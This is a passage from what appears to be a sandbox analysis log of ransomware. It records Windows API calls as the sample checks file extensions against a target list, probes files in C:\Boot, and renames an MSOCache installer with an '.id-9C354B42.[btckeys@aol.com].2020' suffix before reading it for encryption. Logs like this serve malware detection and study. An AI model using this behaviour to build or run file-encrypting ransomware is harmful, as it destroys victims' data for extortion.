dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.072] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=90704) returned 1 [0061.072] CloseHandle (hObject=0x168) returned 1 [0061.072] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0061.072] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.072] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.072] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.072] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.072] lstrlenW (lpString=".doc") returned 4 [0061.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.072] lstrlenW (lpString=".docx") returned 5 [0061.072] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.072] lstrlenW (lpString=".pdf") returned 4 [0061.072] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.072] lstrlenW (lpString=".xls") returned 4 [0061.072] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.072] lstrlenW (lpString=".xlsx") returned 5 [0061.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.072] lstrlenW (lpString=".ppt") returned 4 [0061.073] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString=".zip") returned 4 [0061.073] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.073] lstrlenW (lpString=".rar") returned 4 [0061.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.073] lstrlenW (lpString=".bz2") returned 4 [0061.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.073] lstrlenW (lpString=".7z") returned 3 [0061.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString=".dbf") returned 4 [0061.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString=".1cd") returned 4 [0061.073] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString=".jpg") returned 4 [0061.073] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.073] lstrlenW (lpString=".doc") returned 4 [0061.073] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.073] lstrlenW (lpString=".docx") returned 5 [0061.073] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.073] lstrlenW (lpString=".pdf") returned 4 [0061.073] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.073] lstrlenW (lpString=".xls") returned 4 [0061.073] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.074] lstrlenW (lpString=".xlsx") returned 5 [0061.074] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.074] lstrlenW (lpString=".ppt") returned 4 [0061.074] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.074] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.074] lstrlenW (lpString=".zip") returned 4 [0061.074] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.074] lstrlenW (lpString=".rar") returned 4 [0061.074] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.074] lstrlenW (lpString=".bz2") returned 4 [0061.074] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.074] lstrlenW (lpString=".7z") returned 3 [0061.074] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.074] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.074] lstrlenW (lpString=".dbf") returned 4 [0061.074] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.074] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.074] lstrlenW (lpString=".1cd") returned 4 [0061.074] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.074] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0061.074] lstrlenW (lpString=".jpg") returned 4 [0061.074] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.074] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.074] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.074] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.075] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=90176) returned 1 [0061.075] CloseHandle (hObject=0x168) returned 1 [0061.075] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0061.075] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.075] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.075] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.075] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.075] lstrlenW (lpString=".doc") returned 4 [0061.075] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.075] lstrlenW (lpString=".docx") returned 5 [0061.075] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.075] lstrlenW (lpString=".pdf") returned 4 [0061.075] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.075] lstrlenW (lpString=".xls") returned 4 [0061.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.076] lstrlenW (lpString=".xlsx") returned 5 [0061.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.076] lstrlenW (lpString=".ppt") returned 4 [0061.076] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString=".zip") returned 4 [0061.076] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.076] lstrlenW (lpString=".rar") returned 4 [0061.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.076] lstrlenW (lpString=".bz2") returned 4 [0061.076] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.076] lstrlenW (lpString=".7z") returned 3 [0061.076] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString=".dbf") returned 4 [0061.076] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString=".1cd") returned 4 [0061.076] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString=".jpg") returned 4 [0061.076] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.076] lstrlenW (lpString=".doc") returned 4 [0061.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.076] lstrlenW (lpString=".docx") returned 5 [0061.076] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.076] lstrlenW (lpString=".pdf") returned 4 [0061.076] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.077] lstrlenW (lpString=".xls") returned 4 [0061.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.077] lstrlenW (lpString=".xlsx") returned 5 [0061.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.077] lstrlenW (lpString=".ppt") returned 4 [0061.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.077] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.077] lstrlenW (lpString=".zip") returned 4 [0061.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.077] lstrlenW (lpString=".rar") returned 4 [0061.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.077] lstrlenW (lpString=".bz2") returned 4 [0061.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.077] lstrlenW (lpString=".7z") returned 3 [0061.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.077] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.077] lstrlenW (lpString=".dbf") returned 4 [0061.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.077] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.077] lstrlenW (lpString=".1cd") returned 4 [0061.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.077] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0061.077] lstrlenW (lpString=".jpg") returned 4 [0061.077] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.077] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.078] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.078] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.078] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=89664) returned 1 [0061.078] CloseHandle (hObject=0x168) returned 1 [0061.078] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0061.078] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.078] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.078] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.078] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.078] lstrlenW (lpString=".doc") returned 4 [0061.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.078] lstrlenW (lpString=".docx") returned 5 [0061.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.078] lstrlenW (lpString=".pdf") returned 4 [0061.079] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.079] lstrlenW (lpString=".xls") returned 4 [0061.079] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.079] lstrlenW (lpString=".xlsx") returned 5 [0061.079] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.079] lstrlenW (lpString=".ppt") returned 4 [0061.079] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString=".zip") returned 4 [0061.079] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.079] lstrlenW (lpString=".rar") returned 4 [0061.079] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.079] lstrlenW (lpString=".bz2") returned 4 [0061.079] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.079] lstrlenW (lpString=".7z") returned 3 [0061.079] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString=".dbf") returned 4 [0061.079] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString=".1cd") returned 4 [0061.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString=".jpg") returned 4 [0061.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.079] lstrlenW (lpString=".doc") returned 4 [0061.079] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.080] lstrlenW (lpString=".docx") returned 5 [0061.080] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.080] lstrlenW (lpString=".pdf") returned 4 [0061.080] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.080] lstrlenW (lpString=".xls") returned 4 [0061.080] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.080] lstrlenW (lpString=".xlsx") returned 5 [0061.080] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.080] lstrlenW (lpString=".ppt") returned 4 [0061.080] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.080] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.080] lstrlenW (lpString=".zip") returned 4 [0061.080] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.080] lstrlenW (lpString=".rar") returned 4 [0061.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.080] lstrlenW (lpString=".bz2") returned 4 [0061.080] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.080] lstrlenW (lpString=".7z") returned 3 [0061.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.080] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.080] lstrlenW (lpString=".dbf") returned 4 [0061.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.080] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.080] lstrlenW (lpString=".1cd") returned 4 [0061.080] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.080] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0061.080] lstrlenW (lpString=".jpg") returned 4 [0061.080] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.081] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.081] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.081] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0061.081] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=90192) returned 1 [0061.081] CloseHandle (hObject=0x168) returned 1 [0061.081] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0061.081] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.081] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.081] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.081] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.081] lstrlenW (lpString=".doc") returned 4 [0061.081] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.081] lstrlenW (lpString=".docx") returned 5 [0061.082] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.082] lstrlenW (lpString=".pdf") returned 4 [0061.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.082] lstrlenW (lpString=".xls") returned 4 [0061.082] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.082] lstrlenW (lpString=".xlsx") returned 5 [0061.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.082] lstrlenW (lpString=".ppt") returned 4 [0061.082] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.082] lstrlenW (lpString=".zip") returned 4 [0061.082] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.082] lstrlenW (lpString=".rar") returned 4 [0061.082] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.082] lstrlenW (lpString=".bz2") returned 4 [0061.082] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.082] lstrlenW (lpString=".7z") returned 3 [0061.082] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.082] lstrlenW (lpString=".dbf") returned 4 [0061.082] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.082] lstrlenW (lpString=".1cd") returned 4 [0061.082] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.082] lstrlenW (lpString=".jpg") returned 4 [0061.082] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.082] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.083] lstrlenW (lpString=".doc") returned 4 [0061.083] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.083] lstrlenW (lpString=".docx") returned 5 [0061.083] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.083] lstrlenW (lpString=".pdf") returned 4 [0061.083] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.083] lstrlenW (lpString=".xls") returned 4 [0061.083] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.083] lstrlenW (lpString=".xlsx") returned 5 [0061.083] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.083] lstrlenW (lpString=".ppt") returned 4 [0061.083] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.083] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.083] lstrlenW (lpString=".zip") returned 4 [0061.083] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.083] lstrlenW (lpString=".rar") returned 4 [0061.083] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.083] lstrlenW (lpString=".bz2") returned 4 [0061.083] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.083] lstrlenW (lpString=".7z") returned 3 [0061.083] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0061.083] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.083] lstrlenW (lpString=".dbf") returned 4 [0061.083] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0061.083] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.083] lstrlenW (lpString=".1cd") returned 4 [0061.083] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0061.083] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0061.083] lstrlenW (lpString=".jpg") returned 4 [0061.083] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0061.084] lstrcmpiW (lpString1=".mui", lpString2=".2020") returned 1 [0061.084] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0061.084] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.350] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=87616) returned 1 [0061.350] CloseHandle (hObject=0x164) returned 1 [0061.350] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0061.358] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0061.358] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.358] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0061.358] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0061.358] lstrlenW (lpString=".doc") returned 4 [0061.358] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0061.358] lstrlenW (lpString=".docx") returned 5 [0061.359] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0061.359] lstrlenW (lpString=".pdf") returned 4 [0061.359] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0061.359] lstrlenW (lpString=".xls") returned 4 [0061.359] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0061.359] lstrlenW (lpString=".xlsx") returned 5 [0061.359] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0061.359] lstrlenW (lpString=".ppt") returned 4 [0061.359] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0061.359] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0061.359] lstrlenW (lpString=".zip") returned 4 [0061.359] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0061.359] lstrlenW (lpString=".rar") returned 4 [0061.359] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0061.359] lstrlenW (lpString=".bz2") returned 4 [0061.359] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0061.359] lstrlenW (lpString=".7z") returned 3 [0061.359] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.593] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0062.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0062.594] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0062.594] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0062.594] ReadFile (in: hFile=0x174, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.602] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0062.602] ReadFile (in: hFile=0x174, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.618] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.618] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0062.618] ReadFile (in: hFile=0x174, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 